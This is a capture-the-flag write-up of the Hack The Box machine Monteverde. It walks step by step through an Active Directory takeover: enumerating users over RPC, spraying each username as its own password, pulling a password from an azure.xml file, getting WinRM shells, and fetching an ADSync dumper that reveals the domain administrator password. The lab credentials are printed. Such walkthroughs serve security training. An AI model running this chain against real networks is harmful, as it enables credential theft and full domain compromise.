September 17, 2026·Johnytiger

HTB: Monteverde

Spraying every username as its own password lands a service account. That account can read an azure.xml holding a second password, and membership of Azure Admins means the local ADSync database will hand over the domain administrator credential in plaintext.

securityctfwriteuphacktheboxactive directorywindowsazurepassword spraying

The Hack The Box machine card for Monteverde, rated Medium, running Windows

Kicking things off with this box we can already tell this is an AD CTF, with ports 88, 135, 139 and 3268 open, so it's time to run our usual NetExec process of enumeration and see what we can get from the machine.

enum4linux-ng -A 10.129.228.111

That gives us a lot of info on this box. RPC is giving off a great amount of detail and we can pull the password policy, so let's log into RPC, hit it with enumdomusers and pull some usernames.

rpcclient -U '' -N 10.129.228.111

rpcclient $> enumdomusers

rpcclient enumdomusers returning the domain user list, including mhope, SABatchJobs and a handful of service accounts

Let's throw these usernames into a users.txt file and begin enumerating SMB with NetExec. We'll spray the list against itself, using each username as its own password.

nxc smb 10.129.228.111 -u users.txt -p users.txt --no-bruteforce --continue-on-success

NetExec spraying each username as its own password, with every account failing except SABatchJobs

Spraying the users with their own usernames gives us access to one of the juicy service accounts. You should already know the next step here. Let's run that user by NetExec SMB and enumerate those shares.

nxc smb 10.129.228.111 -u 'SABatchJobs' -p 'SABatchJobs' --shares

Within the mhope folder on the users share we find an azure.xml that carries a password. Let's note this down and see what we can do with it.

nxc smb 10.129.228.111 -u users.txt -p '4n0therD4y@n0th3r$'

NetExec spraying the password from azure.xml across the user list, landing a hit on the mhope account

Spraying the users with that password gives us access to the mhope user. We get nothing new from the shares, but when checking for WinRM access we get a Pwn3d, so let's get a shell on the mhope account.

nxc winrm 10.129.228.111 -u 'mhope' -p '4n0therD4y@n0th3r$'

NetExec confirming the mhope credentials over WinRM with a Pwn3d! result

evil-winrm -i 10.129.228.111 -u mhope -p '4n0therD4y@n0th3r$'

Heading to the user's desktop we find the user.txt flag.

Now for privesc. Let's enumerate the machine by checking privileges and running winPEAS. We get alright info, but forget winPEAS, check this out.

net user mhope /domain

net user mhope /domain showing the account's global group memberships, including Azure Admins

We are part of the Azure Admins group. That is the whole box right there. Azure AD Connect syncs on-prem accounts up to Azure, and to do that it has to store a set of credentials it can decrypt itself, sitting in a local ADSync database.

After a little research we find this.

Azure-ADConnect.ps1 from the PsCabesha-tools repo

It's an Azure ADSync dumper. Let's bring this over to our CTF box and run it.

IWR -Uri http://10.10.14.21/Azure-ADConnect.ps1 -o adc.ps1
. .\adc.ps1
Azure-ADConnect -server 127.0.0.1 -db ADSync

The Azure-ADConnect script reading the local ADSync database and printing the domain, the administrator username and its plaintext password

Bam, we got the administrator creds. Let's run it by evil-winrm and grab a shell.

evil-winrm -i 10.129.228.111 -u administrator -p 'd0m@in4dminyeah!'

And we got the root flag.

This box was pretty interesting. I haven't dealt much with Azure systems, so this was good practice at locating config files with credentials in them. It is always worth spraying usernames as their own passwords. I find it funny how many cases are like this. Simply lazy work by whoever set up the system.

End of transmissionAll posts